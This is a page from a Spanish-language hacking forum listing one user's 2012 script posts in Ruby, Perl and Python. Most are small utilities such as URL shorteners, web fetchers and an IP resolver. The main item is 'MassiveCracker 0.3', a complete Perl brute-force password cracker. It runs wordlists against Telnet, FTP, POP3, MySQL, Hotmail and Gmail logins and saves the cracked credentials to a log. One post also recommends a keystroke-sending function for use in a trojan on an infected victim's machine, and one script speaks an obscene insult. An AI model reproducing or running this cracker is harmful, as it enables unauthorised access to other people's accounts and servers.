elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Temas
Páginas: 1 ... 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 [31] 32 33 34 35 36 37 38 39 40 41 42 43
301  Programación / Scripting / [Ruby] Funcion savefile() en: 10 Febrero 2012, 21:02 pm
Una simple funcion en ruby para escribir en un archivo de texto.

Código
  1. #!usr/bin/ruby
  2. #Funcion savefile()
  3. #Coded By Doddy H
  4.  
  5. def savefile(file,text)
  6.   save = File.open(file, "a")
  7.   save.puts text+"\n"
  8.   save.close
  9. end
  10.  
  11. savefile("test.txt","probando")
  12.  
  13. #The End ? 
  14.  
  15.  
  16.  
302  Programación / Scripting / [Ruby] Funcion send() en: 10 Febrero 2012, 19:02 pm
Una funcion para mandar teclas , es una funcion interesante si estas pensando en un troyano ya que podrian escribir de forma remota en el teclado de la persona infectada por dicho troyano.

Código
  1. #!usr/bin/ruby
  2. #Funcion send()
  3. #Coded By Doddy H
  4.  
  5. require "win32ole"
  6.  
  7. def send(decir)
  8.   test = WIN32OLE.new('Wscript.Shell')
  9.   test.SendKeys(decir)
  10. end
  11.  
  12. send("no tengas miedo.....")
  13.  
  14. # The End ?
  15.  
303  Programación / Scripting / [Ruby] Funcion speak() en: 10 Febrero 2012, 19:02 pm
Una simple funcion para hacer hablar a la computadora , no se emocionen solo habla en ingles , cabe destacar que este funcion no anda en Window Seven , pero si en Vista y XP.

Código
  1. #!usr/bin/ruby
  2. #Funcion speak()
  3. #Coded by Doddy H
  4.  
  5. require "win32ole"
  6.  
  7. def speak(text)
  8.   test = WIN32OLE.new("SAPI.Spvoice")
  9.   test.Speak(text)
  10. end
  11.  
  12. speak("Hi stupid ,i like fuck your mother")
  13.  
  14. #The End ?
  15.  
304  Programación / Scripting / [Ruby] Funcion toma() en: 10 Febrero 2012, 19:02 pm
Una simple funcion para cargar una pagina web , la funcion retorna el codigo fuente de la pagina cargada.

Código
  1. #!usr/bin/ruby
  2. #Funcion toma()
  3. #Coded By Doddy H
  4.  
  5. require "net/http"
  6.  
  7. def toma(web)
  8.   return Net::HTTP.get_response(URI.parse(web)).body
  9. end
  10.  
  11. code = toma("http://127.0.0.1/post.php")
  12. print code
  13.  
  14. #The End ? 
  15.  
305  Programación / Scripting / [Ruby] Funcion tomar() en: 10 Febrero 2012, 19:01 pm
Una simple funcion para cargar una pagina web que usa algun formulario.

Código
  1. #!usr/bin/ruby
  2. #Funcion tomar()
  3. #Coded By Doddy H
  4.  
  5. require "net/http"
  6.  
  7. def toma(web,par)
  8.   return Net::HTTP.post_form(URI.parse(web),par).body
  9. end
  10.  
  11. code = toma("http://127.0.0.1/post.php",{"te"=>"probando","ok1"=>"ok"})
  12. print code
  13.  
  14. #The End ?
  15.  
306  Programación / Scripting / [Ruby] Resolve IP 0.1 en: 10 Febrero 2012, 19:01 pm
Nada del otro mundo , un simple codigo en ruby para conocer la IP de cualquier host.

Código
  1. #!usr/bin/ruby
  2. #Resolve IP 0.1
  3. #Coded By Doddy H
  4.  
  5. require "resolv"
  6.  
  7. def head()
  8.   print "-- == Resolve IP 0.1 == --\n"
  9. end
  10.  
  11. def copyright()
  12.   print "\n(C) Doddy Hackman 2012\n"
  13.   exit(1)
  14. end
  15.  
  16. def sintax()
  17.   print "\n\n[+] ruby resolve.rb <host>\n\n"
  18. end
  19.  
  20. head()
  21. if !ARGV[0]
  22.   sintax()
  23. else
  24.   ip =Resolv.getaddress(ARGV[0]) 
  25.   print "\n\n[+] IP : ",ip,"\n\n"    
  26. end
  27. copyright()
  28.  
  29. #The End ?
  30.  
307  Programación / Scripting / [Perl] URL Shorter 0.1 en: 6 Febrero 2012, 19:43 pm
un simple script para simplificar URLS.

Código
  1. #!usr/bin/perl
  2. #URL Shorter 0.1
  3. #Coded By Doddy H
  4.  
  5. use LWP::UserAgent;
  6.  
  7. my $nave = LWP::UserAgent->new;
  8. $nave->agent(
  9. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  10. );
  11. $nave->timeout(5);
  12.  
  13. head();
  14. print "\n\n\n\n[+] URL : ";
  15. chomp( my $url = <stdin> );
  16. my $code = $nave->get( "http://tinyurl.com/api-create.php?url=" . $url );
  17. if ( $code->is_success ) {
  18.     my $link = $code->content;
  19.     print "\n\n[+] URL Shorter : $link\n";
  20. }
  21. copyright();
  22.  
  23. sub head {
  24.  
  25.     print qq(
  26.  
  27.  
  28.  @    @  @@@@@   @         @@@   @                         
  29.  @    @  @    @  @        @   @  @              @          
  30.  @    @  @    @  @        @      @              @          
  31.  @    @  @    @  @        @      @ @@   @@@  @@ @@  @@@  @@
  32.  @    @  @@@@@   @         @@@   @@  @ @   @ @  @  @   @ @ 
  33.  @    @  @    @  @            @  @   @ @   @ @  @  @@@@@ @ 
  34.  @    @  @    @  @            @  @   @ @   @ @  @  @     @ 
  35.  @    @  @    @  @        @   @  @   @ @   @ @  @  @   @ @ 
  36.   @@@@   @    @  @@@@@     @@@   @   @  @@@  @   @  @@@  @ 
  37.  
  38.  
  39.  
  40.                                     Coded By Doddy H
  41. );
  42.  
  43. }
  44.  
  45. sub copyright {
  46.     print "\n\n(C) Doddy Hackman 2012\n\n";
  47.     <stdin>;
  48.     exit(1);
  49. }
  50.  
  51. # The End ?
  52.  
  53.  
308  Programación / Scripting / [Python] URL Shorter 0.1 en: 6 Febrero 2012, 19:43 pm
un simple script para simplificar URLS.

Código
  1. #!usr/bin/python
  2. #URL Shorter 0.1
  3. #Coded By Doddy H
  4.  
  5. import urllib2,re,sys
  6.  
  7. def toma(web) :
  8.  nave = urllib2.Request(web)
  9.  nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
  10.  op = urllib2.build_opener()
  11.  return op.open(nave).read()
  12.  
  13. def head():
  14.  print """
  15.  
  16.  
  17.  @    @  @@@@@   @         @@@   @                         
  18.  @    @  @    @  @        @   @  @              @          
  19.  @    @  @    @  @        @      @              @          
  20.  @    @  @    @  @        @      @ @@   @@@  @@ @@  @@@  @@
  21.  @    @  @@@@@   @         @@@   @@  @ @   @ @  @  @   @ @ 
  22.  @    @  @    @  @            @  @   @ @   @ @  @  @@@@@ @ 
  23.  @    @  @    @  @            @  @   @ @   @ @  @  @     @ 
  24.  @    @  @    @  @        @   @  @   @ @   @ @  @  @   @ @ 
  25.   @@@@   @    @  @@@@@     @@@   @   @  @@@  @   @  @@@  @ 
  26.  
  27.  
  28.  
  29.                                     Coded By Doddy H 
  30. """
  31.  
  32. def copyright():
  33.  print "\n\n(C) Doddy Hackman 2012\n"
  34.  raw_input()
  35.  sys.exit(1)
  36.  
  37. head()
  38.  
  39. url = raw_input("\n\n[+] URL : ")
  40.  
  41. try:
  42.  code = toma("http://tinyurl.com/api-create.php?url="+url)
  43.  print "\n[+] URL Shorter : "+code
  44. except:
  45.  print "[-] Error\n"
  46.  
  47. copyright()
  48.  
  49. # The End
  50.  
309  Programación / Scripting / [Ruby] URL Shorter 0.1 en: 6 Febrero 2012, 19:42 pm
un simple script para simplificar URLS.

Código
  1. #!usr/bin/ruby
  2. #URL Shorter 0.1
  3. #Coded By Doddy H
  4.  
  5. require "net/http"
  6.  
  7. def head()
  8.  print "
  9.  
  10.  
  11.  @    @  @@@@@   @         @@@   @                         
  12.  @    @  @    @  @        @   @  @              @          
  13.  @    @  @    @  @        @      @              @          
  14.  @    @  @    @  @        @      @ @@   @@@  @@ @@  @@@  @@
  15.  @    @  @@@@@   @         @@@   @@  @ @   @ @  @  @   @ @ 
  16.  @    @  @    @  @            @  @   @ @   @ @  @  @@@@@ @ 
  17.  @    @  @    @  @            @  @   @ @   @ @  @  @     @ 
  18.  @    @  @    @  @        @   @  @   @ @   @ @  @  @   @ @ 
  19.   @@@@   @    @  @@@@@     @@@   @   @  @@@  @   @  @@@  @ 
  20.  
  21.  
  22.  
  23.                                     Coded By Doddy H
  24.  "
  25.  
  26. end
  27.  
  28. def copyright()
  29.  print "\n\n\n(C) Doddy Hackman 2012\n\n"
  30.  gets.chomp
  31.  exit(1)
  32. end
  33.  
  34. def toma(web)
  35.  return Net::HTTP.get_response(URI.parse(web)).body
  36. end
  37.  
  38. head()
  39.  
  40. print "\n\n\n[+] URL : "
  41. url = gets.chomp
  42.  
  43. code = toma("http://tinyurl.com/api-create.php?url="+url)
  44. print "\n[+] URL Shorter : "+code
  45.  
  46. copyright()
  47.  
  48. # The End ?
  49.  
310  Programación / Scripting / [Perl] MassiveCracker 0.3 en: 4 Febrero 2012, 20:57 pm
Hola , aca les traigo una mejora de un antiguo cracker que hice hace tiempo.

Las opciones de crack que tiene son

 
  • Telnet
  • FTP
  • POP3
  • Mysql
  • Hotmail
  • Gmail


Ademas guarda todos los registros en un archivo de texto que el mismo programa crea.

Código
  1. #!usr/bin/perl
  2. #Massive Cracker 0.3
  3. #Coded By Doddy H
  4. #http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
  5. #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
  6. #ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
  7. #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
  8. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  9. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  10.  
  11. use Net::FTP;
  12. use Net::POP3;
  13. use Net::Telnet;
  14. use DBI;
  15.  
  16. use Mail::POP3Client;
  17. use IO::Socket::SSL;
  18.  
  19. head();
  20.  
  21. print "[+] Option :  ";
  22. chomp( my $op = <stdin> );
  23.  
  24. if ( $op eq "1" ) {
  25.  
  26.     my ( $host, $user, $word ) = form1();
  27.     my @words = openwordlist($word);
  28.  
  29.     print "[+] Cracking service Telnet";
  30.  
  31.     for my $pass (@words) {
  32.         chomp $pass;
  33.  
  34.         $telnet = new Net::Telnet( Errmode => "return" );
  35.         $telnet->open($host);
  36.         if ( $telnet->login( $user, $pass ) ) {
  37.             yeah( $host, $user, $pass, "Telnet" );
  38.         }
  39.         $telnet->close;
  40.  
  41.     }
  42.  
  43.     print "\n\n[-] Password Not Found\n";
  44.  
  45. }
  46.  
  47. elsif ( $op eq "2" ) {
  48.  
  49.     my ( $host, $user, $word ) = form1();
  50.     my @words = openwordlist($word);
  51.  
  52.     print "[+] Cracking service FTP";
  53.  
  54.     for my $pass (@words) {
  55.         chomp $pass;
  56.         $ftp = Net::FTP->new($host);
  57.         if ( $ftp->login( $user, $pass ) ) {
  58.             yeah( $host, $user, $pass, "FTP" );
  59.         }
  60.         $ftp->quit;
  61.     }
  62.  
  63.     print "\n\n[-] Password Not Found\n";
  64.  
  65. }
  66. elsif ( $op eq "3" ) {
  67.  
  68.     my ( $host, $user, $word ) = form1();
  69.     my @words = openwordlist($word);
  70.  
  71.     print "[+] Cracking service POP3";
  72.  
  73.     for my $pass (@words) {
  74.         chomp $pass;
  75.  
  76.         $pop = Net::POP3->new($host);
  77.         if ( $pop->login( $user, $pass ) ) {
  78.             yeah( $host, $user, $pass, "POP3" );
  79.         }
  80.         $pop->quit();
  81.     }
  82.  
  83.     print "\n\n[-] Password Not Found\n";
  84.  
  85. }
  86.  
  87. elsif ( $op eq "4" ) {
  88.  
  89.     my ( $host, $user, $word ) = form1();
  90.     my @words = openwordlist($word);
  91.  
  92.     print "[+] Cracking service Mysql";
  93.  
  94.     $target = "dbi:mysql::" . $host . ":3306";
  95.  
  96.     for my $pass (@words) {
  97.         chomp $pass;
  98.  
  99.         if ( my $now =
  100.             DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
  101.         {
  102.             yeah( $host, $user, $pass, "Mysql" );
  103.         }
  104.     }
  105.  
  106.     print "\n\n[-] Password Not Found\n";
  107.  
  108. }
  109.  
  110. elsif ( $op eq "5" ) {
  111.  
  112.     my ( $user, $word ) = form2();
  113.     my @words = openwordlist($word);
  114.  
  115.     print "[+] Cracking account Hotmail";
  116.  
  117.     for my $pass (@words) {
  118.         chomp $pass;
  119.  
  120.         my $so = IO::Socket::SSL->new(
  121.             PeerAddr => "pop3.live.com",
  122.             PeerPort => 995,
  123.             Proto    => "tcp"
  124.         );
  125.  
  126.         my $nave = Mail::POP3Client->new();
  127.  
  128.         $nave->User($user);
  129.         $nave->Pass($pass);
  130.         $nave->Socket($so);
  131.  
  132.         if ( $nave->Connect() ) {
  133.             yeahmail( "Hotmail", $user, $pass );
  134.         }
  135.  
  136.         $so->close();
  137.         $nave->close();
  138.  
  139.     }
  140.  
  141. }
  142.  
  143. elsif ( $op eq "6" ) {
  144.  
  145.     my ( $user, $word ) = form2();
  146.     my @words = openwordlist($word);
  147.  
  148.     print "[+] Cracking account Gmail";
  149.  
  150.     for my $pass (@words) {
  151.         chomp $pass;
  152.  
  153.         my $so = IO::Socket::SSL->new(
  154.             PeerAddr => "pop.gmail.com",
  155.             PeerPort => 995,
  156.             Proto    => "tcp"
  157.         );
  158.  
  159.         my $nave = Mail::POP3Client->new();
  160.  
  161.         $nave->User($user);
  162.         $nave->Pass($pass);
  163.         $nave->Socket($so);
  164.  
  165.         if ( $nave->Connect() ) {
  166.             yeahmail( "Gmail", $user, $pass );
  167.         }
  168.  
  169.         $so->close();
  170.         $nave->close();
  171.  
  172.     }
  173.  
  174. }
  175.  
  176. else {
  177.     print "\n\n[+] Bad Option\n";
  178. }
  179.  
  180. copyright();
  181.  
  182. sub yeah {
  183.  
  184.     print "\a\a\n\n[+] Cracked\n\n";
  185.     print "[Host] : $_[0]\n";
  186.     print "[User] : $_[1]\n";
  187.     print "[Password] : $_[2]\n";
  188.  
  189.     savefile( "cracked-logs.txt",
  190.         $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );
  191.  
  192.     copyright();
  193.  
  194. }
  195.  
  196. sub yeahmail {
  197.  
  198.     print "\a\a\n\n[+] Cracked\n\n";
  199.     print "[Account Type] : $_[0]\n";
  200.     print "[User] : $_[1]\n";
  201.     print "[Password] : $_[2]\n";
  202.  
  203.     savefile( "cracked-logs.txt", $_[0] . ":" . $_[1] . ":" . $_[2] );
  204.  
  205.     copyright();
  206.  
  207. }
  208.  
  209. sub openwordlist {
  210.  
  211.     my $file = shift;
  212.  
  213.     print "\n[+] Opening file\n\n";
  214.  
  215.     unless ( -f $file ) {
  216.         print "\n[-] File not found\n";
  217.         copyright();
  218.     }
  219.  
  220.     print "[+] Reading file\n\n";
  221.  
  222.     open( FILE, $file );
  223.     my @words = <FILE>;
  224.     close FILE;
  225.  
  226.     print "[+] Words Found : " . int(@words) . "\n\n";
  227.  
  228.     return @words;
  229.  
  230. }
  231.  
  232. sub savefile {
  233.     open( SAVE, ">>" . $_[0] );
  234.     print SAVE $_[1] . "\n";
  235.     close SAVE;
  236. }
  237.  
  238. sub form1 {
  239.  
  240.     print "\n[+] Host : ";
  241.     chomp( my $host = <stdin> );
  242.     print "\n[+] User : ";
  243.     chomp( my $user = <stdin> );
  244.     print "\n[+] Wordlist : ";
  245.     chomp( my $word = <stdin> );
  246.  
  247.     return ( $host, $user, $word );
  248.  
  249. }
  250.  
  251. sub form2 {
  252.     print "\n[+] Email : ";
  253.     chomp( my $email = <stdin> );
  254.     print "\n[+] Wordlist : ";
  255.     chomp( my $word = <stdin> );
  256.  
  257.     return ( $email, $word );
  258. }
  259.  
  260. sub head {
  261.     print qq(
  262.  
  263.  @     @                                    @@@@                 @             
  264.  @     @                                   @    @                @             
  265.  @@   @@                                   @                     @             
  266.  @@   @@   @@@   @@   @@  @ @   @  @@@     @      @@  @@@   @@@  @  @   @@@  @@
  267.  @ @ @ @      @ @  @ @  @ @ @   @ @   @    @      @      @ @   @ @ @   @   @ @ 
  268.  @ @ @ @   @@@@  @    @   @  @ @  @@@@@    @      @   @@@@ @     @@    @@@@@ @ 
  269.  @  @  @  @   @   @    @  @  @ @  @        @      @  @   @ @     @ @   @     @ 
  270.  @  @  @  @   @ @  @ @  @ @   @   @   @    @    @ @  @   @ @   @ @  @  @   @ @ 
  271.  @     @   @@@@  @@   @@  @   @    @@@      @@@@  @   @@@@  @@@  @   @  @@@  @ 
  272.  
  273.  
  274.  
  275.  
  276.                                               Coded By Doddy H
  277.  
  278.  
  279.  
  280.  
  281.  
  282. [++] Services 
  283.  
  284.  [1] : Telnet
  285.  [2] : FTP 
  286.  [3] : POP3
  287.  [4] : Mysql
  288.  [5] : Hotmail
  289.  [6] : Gmail
  290.  
  291.  
  292.  
  293. );
  294. }
  295.  
  296. sub copyright {
  297.     print "\n\n(C) Doddy Hackman 2012\n\n";
  298.     <stdin>;
  299.     exit(1);
  300. }
  301.  
  302. #The End ?
  303.  
  304.  
Páginas: 1 ... 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 [31] 32 33 34 35 36 37 38 39 40 41 42 43
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines